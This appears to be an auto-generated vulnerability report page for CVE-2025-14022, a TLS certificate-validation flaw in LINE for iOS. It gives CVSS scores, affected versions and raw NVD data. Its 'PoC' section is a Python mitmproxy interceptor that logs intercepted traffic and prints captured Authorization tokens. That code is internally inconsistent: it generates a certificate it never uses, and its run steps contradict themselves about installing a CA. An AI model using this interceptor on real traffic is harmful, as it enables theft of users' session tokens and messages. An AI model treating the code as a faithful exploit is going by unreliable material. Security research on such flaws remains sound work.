Security Vulnerability Report
中文
CVE-2025-14022 CVSS 7.7 HIGH

CVE-2025-14022

Published: 2025-12-15 07:15:51
Last Modified: 2026-01-07 16:15:49

Description

LINE client for iOS prior to 15.4 allows man-in-the-middle attacks due to improper SSL/TLS certificate validation in an integrated financial SDK. The SDK interfered with the application's network processing, causing server certificate verification to be disabled for a significant portion of network traffic, which could allow a network-adjacent attacker to intercept or modify encrypted communications.

CVSS Details

CVSS Score
7.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:linecorp:line:*:*:*:*:*:iphone_os:*:* - VULNERABLE
LINE client for iOS < 15.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-14022 PoC - MITM Attack Simulation # This PoC demonstrates the certificate validation bypass in LINE iOS import mitmproxy from mitmproxy import http import ssl import os # Generate self-signed certificate for MITM # In real attack, attacker would use this cert on proxy server def generate_malicious_cert(): """ Generate self-signed certificate for MITM attack This works because LINE iOS SDK disables certificate validation """ from OpenSSL import crypto # Create self-signed certificate key = crypto.PKey() key.generate_key(crypto.TYPE_RSA, 2048) cert = crypto.X509() cert.get_subject().CN = "line server" cert.gmtime_adj_notBefore(0) cert.gmtime_adj_notAfter(365*24*60*60) cert.set_serial_number(1000) cert.set_issuer(cert.get_subject()) cert.set_pubkey(key) cert.sign(key, 'sha256') return cert, key # MITM Proxy Handler class LINEClientInterceptor: def __init__(self): self.cert, self.key = generate_malicious_cert() def request(self, flow: http.HTTPFlow): """ Intercept LINE iOS client traffic Due to certificate validation bypass, self-signed cert is accepted """ print(f"[CVE-2025-14022] Intercepted: {flow.request.pretty_url}") print(f"Headers: {flow.request.headers}") print(f"Content: {flow.request.content}") # Log captured sensitive data if 'Authorization' in flow.request.headers: print(f"[CRITICAL] Token captured: {flow.request.headers['Authorization']}") # Could modify traffic here due to bypassed encryption # flow.response = modify_response(flow.response) # To run this PoC: # 1. Set up mitmproxy with self-signed certificate # 2. Configure LINE iOS device to trust mitmproxy CA # 3. Route LINE iOS traffic through proxy # 4. Since SDK bypasses cert validation, attack succeeds without CA install print("CVE-2025-14022 PoC - LINE iOS MITM Attack") print("This vulnerability allows MITM without installing malicious CA")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14022", "sourceIdentifier": "[email protected]", "published": "2025-12-15T07:15:50.980", "lastModified": "2026-01-07T16:15:49.130", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "LINE client for iOS prior to 15.4 allows man-in-the-middle attacks due to improper SSL/TLS certificate validation in an integrated financial SDK. The SDK interfered with the application's network processing, causing server certificate verification to be disabled for a significant portion of network traffic, which could allow a network-adjacent attacker to intercept or modify encrypted communications."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 5.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-295"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linecorp:line:*:*:*:*:*:iphone_os:*:*", "versionEndExcluding": "15.4.0", "matchCriteriaId": "9676D59E-4753-4A11-8AC4-289E856F3D16"}]}]}], "references": [{"url": "https://hackerone.com/reports/2853445", "source": "[email protected]", "tags": ["Permissions Required", "Third Party Advisory"]}]}}